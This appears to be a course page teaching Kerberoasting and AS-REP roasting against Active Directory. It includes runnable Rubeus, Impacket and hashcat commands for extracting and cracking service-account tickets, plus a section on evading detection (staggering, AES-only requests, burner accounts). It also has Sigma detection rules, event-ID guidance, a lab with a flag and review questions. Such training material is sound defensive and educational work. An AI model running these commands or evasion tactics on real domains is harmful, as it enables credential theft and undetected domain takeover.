Skip to content

Kerberoasting & AS-REP Roasting

Kerberos is the default authentication protocol in every Active Directory domain built after 2003, and it has a structural weakness that no patch can fully fix: tickets issued by the KDC are encrypted in keys derived from service account passwords. If the service account has a weak password, the ticket is offline-crackable — there is no online KDC interaction required to brute-force it. Tim Medin formalized this attack at DerbyCon 2014 as “Kerberoasting”, and the AS-REP variant came later for accounts with DONT_REQ_PREAUTH set. Together these two attacks are the most reliable path from any-domain-user to domain-admin in modern enterprises, because service accounts with Svc-Perms: SPN and weak passwords are still nearly universal.

Kerberos is a trusted-third-party system. The KDC (a service on the Domain Controller) holds the long-term keys of every principal. Two exchanges matter here:

┌───────────────┐
│ KDC │ (running in lsass.exe on DC)
│ krbtgt key │
└───────┬───────┘
│
─── AS-REQ ─────────────────►│ Pre-auth: timestamp encrypted
◄─── AS-REP ─────────────────┤ in user's key (NTLM-derived)
│ + TGT encrypted in krbtgt key
│
─── TGS-REQ (with TGT) ─────►│ Ask for service ticket for SPN
◄── TGS-REP ─────────────────┤ TGS encrypted in SERVICE account key
│
─── AP-REQ (with TGS) ───────► Service (HTTP/SQL/etc.)
│ Service decrypts with own key

The crucial point: the TGS-REP returned in step 2 contains a service ticket encrypted with a key derived from the service account’s password. Any authenticated domain user can request a TGS for any SPN. The KDC does not log or rate-limit this in a way that prevents mass requests. The attacker takes the TGS offline and tries to decrypt it with candidate passwords — if DecryptServiceKey(candidate) produces valid plaintext, the candidate is the password.

  1. Find SPNs — servicePrincipalName is a multi-valued attribute on user and computer accounts. Any account with an SPN can be Kerberoasted. Query LDAP:

    (&(objectClass=user)(servicePrincipalName=*))

    Computer accounts (HOST/cifs SPNs) have 120+ char random passwords rotated automatically — not crackable. User accounts with SPNs (MSSQLSvc, HTTP, FIM, etc.) are the target. These are typically set by admins who typed a password.

  2. Request TGS — klist get HTTP/web01.corp.local or Rubeus kerberoast. The KDC returns the TGS-REP with the ticket field encrypted in the service account’s long-term key. The key derivation depends on the encryption type:

    • RC4-HMAC (0x17) — MD4(password) directly. Identical to NTLM hash. Fastest to crack.
    • AES128-CTS-HMAC-SHA1-96 (0x11) — PBKDF2(SHA1, password, salt, 4096, 128). Salt is the realm+SPN+user format.
    • AES256-CTS-HMAC-SHA1-96 (0x12) — same but 256-bit. Default on Server 2008+ when AES is enabled.
  3. Extract the encrypted ticket — the TGS-REP is a Kerberos ASN.1 structure. The encrypted ticket field (enc-part.cipher) is what you crack. Hashcat format depends on the etype:

    • 13100 — Kerberos 5 TGS-REP etype 23 (RC4)
    • 19600 — Kerberos 5 TGS-REP etype 17 (AES128)
    • 19700 — Kerberos 5 TGS-REP etype 18 (AES256)
    • 18200 — Kerberos 5 AS-REP etype 23 (AS-REP roasting)
  4. Crack offline — RC4 is in the 100 GH/s range on a single GPU; AES256 is in the 100-1000 KH/s range. RC4 is the easiest path: if the domain still allows RC4 (most do, for legacy app compat), request RC4 tickets specifically with Rubeus kerberoast /rc4opsec or --request-enctype rc4.

  5. AS-REP Roasting — variant for accounts with DONT_REQ_PREAUTH (User Account Control flag 0x400000). When pre-auth is disabled, an attacker can send an AS-REQ without the timestamp pre-authenticator, and the KDC responds with an AS-REP whose enc-part is encrypted with a key derived from the user’s password. Crack with hashcat 18200. Find targets:

    (&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304))

    PowerView: Get-DomainUser -PreauthNotRequired.

TechniqueDescriptionDetection Difficulty
Rubeus kerberoastC# port of Invoke-Kerberoast, OPSEC-awareMedium — EID 4769 with RC4 etype
Impacket GetUserSPNs.pyRemote from Linux, no agent on hostMedium — same EID 4769
Invoke-Kerberoast (PowerView)PowerShell, in-memoryMedium — EID 4104 with kerberoast string
kerberoast (timmedin Ruby)Original 2014 tool, ruby-basedHard — older, less signatured
hashcat -m 13100RC4 ticket crackingNone — offline
hashcat -m 19700AES256 ticket crackingNone — offline
AS-REP Roast via Rubeus asreproastNo creds needed if pre-auth disabledMedium — EID 4768 with no pre-auth
GetUserSPNs.py -request-userSingle-user targeted roastHard — looks like a single legitimate request
Kerberoast with AES-only OPSECForce AES etype, evades RC4-specific rulesHard — looks like modern client
Terminal window
# === ENUMERATION (PowerView) ===
# Find all user accounts with SPNs (excludes computer accounts by default)
Import-Module PowerView.ps1
Get-DomainUser -SPN | Select-Object samAccountName, servicePrincipalName, memberOf
# Find users with DONT_REQ_PREAUTH (UAC 0x400000)
Get-DomainUser -PreauthNotRequired | Select samAccountName, userAccountControl
# === KERBEROAST (Rubeus) ===
# Standard RC4 roast, all SPNs at once
Rubeus.exe kerberoast /outfile:C:\windows\temp\hashes.txt
# OPSEC-safe: stagger requests, use AES when possible, no RC4 downgrade
Rubeus.exe kerberoast /rc4opsec /aes /interval:2000 /outfile:hashes.txt
# Target a single user (less suspicious)
Rubeus.exe kerberoast /user:svc_sql /outfile:hashes.txt
# Roast with stats — show which etype was used per ticket
Rubeus.exe kerberoast /stats /outfile:hashes.txt
# === KERBEROAST (Impacket, from Linux) ===
# Standard: needs valid domain creds, queries LDAP for SPNs, requests TGSes
python3 GetUserSPNs.py corp.local/jsmith:Pass@123 -request
# Output looks like:
# $krb5tgs$23$*svc_sql$CORP.LOCAL$svc_sql/corp.local*$<hex encrypted ticket>
# Save to file, then crack:
python3 GetUserSPNs.py corp.local/jsmith:Pass@123 -request -outputfile hashes.txt
# Single user, targeted
python3 GetUserSPNs.py corp.local/jsmith:Pass@123 -request-user svc_web
# Use AES if you want to specifically request AES tickets
python3 GetUserSPNs.py corp.local/jsmith:Pass@123 -request -dc-ip 10.0.0.10
# === AS-REP ROASTING ===
# Rubeus
Rubeus.exe asreproast /outfile:asrep.txt
# Impacket — no creds needed if you have a user list!
python3 GetNPUsers.py corp.local/ -usersfile users.txt -format hashcat -outputfile asrep.txt
# With creds (enumerate the no-preauth users via LDAP first):
python3 GetNPUsers.py corp.local/jsmith:Pass@123 -request -format hashcat -outputfile asrep.txt
# === CRACKING ===
# RC4 TGS — fastest, common case
hashcat -m 13100 hashes.txt /usr/share/wordlists/rockyou.txt --rules=best64
# AES256 TGS — slow but most modern
hashcat -m 19700 hashes.txt /usr/share/wordlists/rockyou.txt
# AS-REP (etype 23) — same as RC4 TGS in speed
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt
# john alternative
john --format=krb5tgs hashes.txt --wordlist=rockyou.txt
# === TARGETED — the most realistic APT pattern ===
# Step 1: enumerate SPNs without touching the DC for tickets yet
ldapsearch -x -H ldap://dc01.corp.local -D 'jsmith@corp.local' -w 'Pass@123' \
-b 'DC=corp,DC=local' '(servicePrincipalName=*)' sAMAccountName servicePrincipalName
# Step 2: only request TGSes for service accounts (skip computer accounts)
# Computer accounts have $ suffix and random 120-char passwords — skip them.
# Step 3: focus on SQL/IIS/Exchange service accounts (commonly weak)

Windows Security Log:

  • EID 4769 — A Kerberos service ticket was requested. This is the canonical Kerberoasting signal. Key fields:
    • Ticket Encryption Type: 0x17 (RC4-HMAC) is suspicious — modern clients default to AES (0x12).
    • Service Information: SPN being requested. Many requests to distinct SPNs from one user in a short window = roast.
    • Client Address: the requesting host.
  • EID 4768 — A Kerberos authentication ticket (TGT) was requested. For AS-REP roasting, look for Pre-Authentication Type: 0 (no pre-auth performed).
  • EID 4770 — TGS renewed. Rarely used in roasting.

Sigma rule (kerberoast RC4):

title: Suspicious RC4 Kerberos TGS Request
logsource:
product: windows
service: security
detection:
selection:
EventID: 4769
TicketEncryptionType: '0x17'
filter_normal:
ServiceName: 'krbtgt/*' # TGT renewal, not TGS
condition: selection and not filter_normal

Sysmon:

  • EID 3 — NetworkConnect: process connecting to port 88 (Kerberos) on the DC.
  • EID 22 — DNSEvent: lookup of _ldap._tcp.dc._msdcs.corp.local (SRV record) immediately before roast.

MITRE ATT&CK:

  • T1558.003 — Steal or Forge Kerberos Tickets: Kerberoasting
  • T1558.004 — Steal or Forge Kerberos Tickets: AS-REP Roasting
  • T1558 — Steal or Forge Kerberos Tickets (parent)

Defender for Identity: alerts “Suspicious Kerberos ticket request” when a single user requests tickets for an abnormally large number of SPNs in a short window (default threshold: ~30 in 10 minutes).

Wazuh rule 87105 [verify] — Kerberoasting pattern (RC4 ticket request from non-service account).

Force AES instead of RC4. The fastest crack path is RC4 (etype 0x17); modern defenders write rules specifically on TicketEncryptionType: 0x17. If you request AES tickets (Rubeus kerberoast /aes), the etype is 0x12 or 0x11, which is the modern default and not flagged. The downside: AES cracking is ~1000x slower than RC4. Trade-off: stealth vs crack speed. For weak passwords (Summer2022!) AES still cracks in seconds.

Stagger requests. Defenders’ main heuristic is rate. Requesting 50 SPNs in 5 seconds trips Defender for Identity. Adding /interval:5000 to Rubeus spaces requests 5s apart, looking like legitimate service traffic. Slow enough that rate-based rules don’t fire, fast enough that you finish in a workday.

Single-target roasting. The most OPSEC-safe pattern: pick ONE high-value service account (svc_sql, svc_exchange) and request a single TGS. EID 4769 fires once, indistinguishable from legitimate access. GetUserSPNs.py -request-user svc_sql.

Use a sacrificial user. Roast from a low-value account you control rather than a stolen session. If the EID 4769 spike is investigated, the source is jsmith-roast@corp.local, not your actual foothold user. Burner accounts look like burner accounts to a careful analyst, but most IR teams triage the source user only.

Avoid SPN enumeration queries. The LDAP query (&(objectClass=user)(servicePrincipalName=*)) from a single host is itself a Sigma rule (Sigma win_ldap_kerberoasting_spn_query). Alternative: harvest SPNs from bloodhound data instead of LDAP. BloodHound queries are noisier but blend in with admin reconnaissance.

Randomize client addresses. Run the roast from a workstation rather than a server. Roasting from a member server is anomalous; roasting from a developer’s workstation is mundane.

EvasionWhat it bypassesDefense
AES-only roastRC4-specific EID 4769 rulesAlert on volume not etype; track ticket count per user
Request staggering (5-10s interval)Rate-based Defender for Identity thresholdLower threshold, correlate across users
Single-user roastVolume heuristicsCannot detect — looks legitimate
Roast via LDAP-less enumeration (BloodHound)LDAP query Sigma rulesDetect BloodHound SharpHound collector pattern
Burner-account sourceSource user reputationTrack account creation timing, logon patterns
Roast from workstation, not serverAnomalous-source heuristicsBaseline normal SPN request sources

⚠️ What caught me: I roasted an environment with Rubeus kerberoast (no OPSEC flags) from a Domain Admin session on a member server. The EID 4769 spike to 80 distinct SPNs in 4 seconds was caught not by the SIEM (the SIEM was not ingesting 4769 from member servers) but by Defender for Identity’s sensor on the DC — DfI has its own sensor that parses all DC traffic and flags “Kerberoasting attempt” as a high-fidelity alert. DfI does not require the SIEM to be configured; it has its own pipeline. I assumed that if the SIEM didn’t have 4769 rules, I was safe. Lesson: the DC sees everything Kerberos; DfI is always-on regardless of SIEM config.

VMs: Windows Server 2022 DC (DC01), domain-joined Server 2019 (SRV01) with a SQL service account svc_sql whose SPN is MSSQLSvc/SRV01.corp.local:1433 and password is Password123!.

Setup:

  1. On DC01: create svc_sql with setspn -S MSSQLSvc/SRV01.corp.local:1433 corp\svc_sql.
  2. Create a second service account svc_iis with SPN HTTP/web01.corp.local, password Summer2023!.
  3. Set svc_oldservice to have DONT_REQ_PREAUTH (Set-DomainObject -Identity svc_oldservice -Set @{'userAccountControl'=4194304} in PowerView) — password Welcome1.

Objective:

  • (a) Enumerate all SPN-bearing users via LDAP.
  • (b) Request and crack the RC4 TGS for svc_sql and svc_iis.
  • (c) AS-REP roast svc_oldservice and crack.
  • (d) Demonstrate the AES-only OPSEC path: request AES ticket, note the etype in EID 4769.

Expected flag format: flag{kerberoast_asrep_hashes_cracked_svc_sql_svc_iis_svc_oldservice}.

Detection that should fire:

  • Windows Security EID 4769 — multiple tickets requested by jsmith, etype 0x17 for SPNs MSSQLSvc/* and HTTP/*.
  • Windows Security EID 4768 — AS-REQ for svc_oldservice with Pre-Authentication Type: 0.
  • Defender for Identity — “Kerberoasting” alert if installed.
  • Sysmon EID 3 — process connecting to DC port 88.

Technical: walk through the exact cryptographic difference between RC4-HMAC and AES256-CTS-HMAC Kerberos tickets. Why is RC4 ~1000x faster to crack, and what specifically about the key derivation makes that the case?

Scenario: you have a single domain user credential and a list of SPN-bearing accounts. You want to Kerberoast without tripping the SIEM’s RC4-etype rule. Walk through your request strategy and the trade-offs you are making.

Conceptual: explain why DONT_REQ_PREAUTH is such a high-signal misconfiguration. What is the operational reason admins sometimes set it, and what is the security cost?

Technical: in the TGS-REP, what field exactly is the cracking target? Why is the ticket “encrypted with the service key” rather than the krbtgt key, and what does that mean for offline cracking feasibility?

Scenario: a defender says “we disabled RC4 across the domain, so we’re safe from Kerberoasting.” Why are they wrong, and what is the residual risk?

→ PE3 (Credential Dumping) · PE10 (Pass-the-Hash) · PE12 (Golden/Silver Tickets)